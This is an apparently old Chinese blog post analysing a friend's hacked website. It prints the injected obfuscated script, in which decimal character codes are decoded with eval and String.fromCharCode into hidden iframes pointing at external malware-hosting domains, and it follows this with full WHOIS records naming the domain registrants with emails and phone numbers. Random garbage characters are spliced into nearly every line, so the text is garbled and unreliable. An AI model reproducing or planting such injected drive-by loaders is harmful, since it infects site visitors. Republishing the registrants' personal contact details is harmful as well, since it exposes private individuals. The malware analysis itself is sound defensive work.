首发在我的博客里面，
CX](^yU_ Oc\Bu6F http://www.areway.cn/?p=175 qs\ O(K8 SQ*dC _`6fGu& W 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
r>v_NKS]t =HJ) !( <script>t=’60,105,102,114,97,109,101,
;dXQB>Za 32,115,114,99,61,104,116,116,112,58,47,47,
K$>C*?R 102,114,101,101,46,117,45,117,117,117,46,99,
5sbMp;ZM 110,47,101,114,114,111,114,46,104,116,109,
y+3<
]
N 32,119,105,100,116,104,61,49,48,48,32,104,
"`pI! nj 101,105,103,104,116,61,48,62,60,47,105,102,
5nq0#0O c 114,97,109,101,62′;
&,?bX]) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
}9n{E-bj * u\~dsD2)q <script>t=’60,105,102,114,97,109,101,32,115,
om$x ;L6 114,99,61,104,116,116,112,58,47,47,102,114,
:', . I 101,101,46,117,45,117,117,117,46,99,110,47,
<b 0;Nf
101,114,114,111,114,46,104,116,109,32,119,
jJ^p
? 105,100,116,104,61,49,48,48,32,104,101,105,
*5( h,s3& 103,104,116,61,48,62,60,47,105,102,114,97,
3+ 6s}u) 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
J%|!KQl document.write(t);</script>
p( EV- ^
=nQ"ye <html xmlns=”
XA8{N http://www.w3.org/1999/xhtml Cx>iSx “>
Q;p?.GI?- <head>
?L=@Zs <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
w+ZeVZv!r <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
#{973~uj <title>首页 - 爱生活家庭网
[kf$8 2 SrMg=a 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
0@w8, x 转换字符串后的大概内容是（谁点击后果自付）：
gg ;&a( <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_M
n7zt1^ I[|5 D Q 查询玉米u-uuu.cn的详细信息：
9IFK 4>&O6 Domain Name: u-uuu.cn
20[_eu) ROID: 20070901s10001s64972306-cn
o&2(xI2 Domain Status: ok
KiXXlaOs Registrant Organization: 王雷
r)$(>/[$ Registrant Name: 王雷
.ztO._J7f Administrative Email:
czlovexs@126.com N?`-$C ] Sponsoring Registrar: 北京万网志成科技有限公司
I;dc[m Name Server:ns.yovole.com
_jmkA meu Name Server:ns1.yovole.com
/A3tY"Vn Registration Date: 2007-09-01 17:54
xL,; (F\^ Expiration Date: 2008-09-01 17:54
n(-1vN 最后PING了一下地址 都没有什么….
l 4c9.'6 \i Fh-?( 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
YXCfP~i <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
9F8"( <script language=”javascript” src=”
T;(k http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -h&AO\*^W >
|KR; $e& 这个玉米应该有可能是木马作者的：
<d xc"A foafau.info的详细信息：
<uXZ*E Access to INFO WHOIS information is provided to assist persons in
(ly4[G1y determining the contents of a domain name registration record in the
t!MGSB~ Afilias registry database. The data in this record is provided by
Gni<@;} Afilias Limited for informational purposes only, and Afilias does not
;0lHi4 c0 guarantee its accuracy. This service is intended only for query-based
$ZSjq access. You agree that you will use this data only for lawful purposes
O)g\/uRy and that, under no circumstances will you use this data to: (a) allow,
sqkk 4w1#C enable, or otherwise support the transmission by e-mail, telephone, or
u~Zx9>f facsimile of mass unsolicited, commercial advertising or solicitations
HIUB: to entities other than the data recipient’s own existing customers; or
RY=B>398: (b) enable high volume, automated, electronic processes that send
d(u"^NH; queries or data to the systems of Registry Operator, a Registrar, or
}E626d}uA Afilias except as reasonably necessary to register domain names or
2y/|/IW= modify existing registrations. All rights reserved. Afilias reserves
P@ Oq'y[ the right to modify these terms at any time. By submitting this query,
C*A!`Q?1Y you agree to abide by this policy.
sJ{S(wpi" Domain ID:D22418703-LRMS
9 06b= Domain Name:FOAFAU.INFO
,tt]C~\u Created On:20-Nov-2007 16:05:42 UTC
df}DJB Last Updated On:20-Nov-2007 16:05:44 UTC
+C4UM9 Expiration Date:20-Nov-2008 16:05:42 UTC
E! '|FJ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
y7ng/vqM7 Status:CLIENT DELETE PROHIBITED
SGi (Zkc Status:CLIENT RENEW PROHIBITED
hV,)u3 Status:CLIENT TRANSFER PROHIBITED
$n |)M+d Status:CLIENT UPDATE PROHIBITED
15NeC7GAh Status:TRANSFER PROHIBITED
oWg"f* Registrant ID:GODA-040110615
p*F.WxB)4 Registrant Name:liu hong
" `l8*]z Registrant Organization:
i,5mH$a&u: Registrant Street1:beijing
jQ DXl Registrant Street2:
wxy. &a] Registrant Street3:
)$[.XKoT Registrant City:beijing
0s >ozAJ Registrant State/Province:
luNEgCq Registrant Postal Code:100000
{G _ :#cep Registrant Country:CN
y7a 84)j3 Registrant Phone:+86.860108888777
WCf?_\cG Registrant Phone Ext.:
rVo0H.+N)` Registrant FAX:
|$AoI Registrant FAX Ext.:
ma__LWKM, Registrant Email:bbbshiji@163.com
;Mzy>*#$Q Admin ID:GODA-240110615
S6~&g|T, Admin Name:liu hong
6x?3%0Km Admin Organization:
z"[}Sk Admin Street1:beijing
2y"]rUS` Admin Street2:
IIrp-E MXJ Admin Street3:
W|NT*g{;M Admin City:beijing
EZICH&_ Admin State/Province:
>x /;'Y. Admin Postal Code:100000
<d&9`e1Hc Admin Country:CN
:=CRsQAn Admin Phone:+86.860108888777
)#|I(Gz ^ Admin Phone Ext.:
ga BVD*> Admin FAX:
(c^ZFh2] Admin FAX Ext.:
xA?( n!{P Admin Email:bbbshiji@163.com
=\[}@Kh Billing ID:GODA-340110615
nIWZo ~ Billing Name:liu hong
uH"W07 Billing Organization:
rV
*`0hA1 Billing Street1:beijing
Z4@%0mFll Billing Street2:
,\2w+L5TD Billing Street3:
@fjVCc; Billing City:beijing
c-? 2>%;(V Billing State/Province:
+;@p'af!9 Billing Postal Code:100000
$0(~ID Billing Country:CN
*3A`7usU Billing Phone:+86.860108888777
^seb8o7 Billing Phone Ext.:
a,>`ab%> Billing FAX:
2. 6F5&:($ Billing FAX Ext.:
#.Q8q Billing Email:bbbshiji@163.com
zG"*B_l}+ Tech ID:GODA-140110615
d z - Tech Name:liu hong
e#R'_}\yj Tech Organization:
CVk.Ez6 Tech Street1:beijing
XkGS3EY Tech Street2:
sTmY'5ry Tech Street3:
uaiCyh1: Tech City:beijing
W.|r=
Tech State/Province:
KMU2Po qD Tech Postal Code:100000
E;*JD x Tech Country:CN
PF6w'T 5 Tech Phone:+86.860108888777
!%8|R ]d Tech Phone Ext.:
>I*Qc<X91 Tech FAX:
q8Z,XfF^S Tech FAX Ext.:
8D)I~0\ Tech Email:bbbshiji@163.com
1kDr;.m% Name Server:NS27.DOMAINCONTROL.COM
ug?])nO.C Name Server:NS28.DOMAINCONTROL.COM
px7<;(I Name Server:
<E&[sQ |3 Name Server:
AJ%x" Name Server:
Ho_ 2zx:8b Name Server:
76'vsg Name Server:
@ xBw' Name Server:
D=!e6E<>@ Name Server:
7y/Pch Name Server:
I7Uj<a=(q Name Server:
8`$lsD Name Server:
.5ItH^ Name Server:
"& Y5 Nh A/xo'G 接着下载每个文件里面的代码：
bAd$
>DI[ 一步一步看..
Z2.S: y. 
}}cS-p 
)ld !(d= 
a YC[15?' 
yn;sd+:z 
4/Wqeq,E8 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
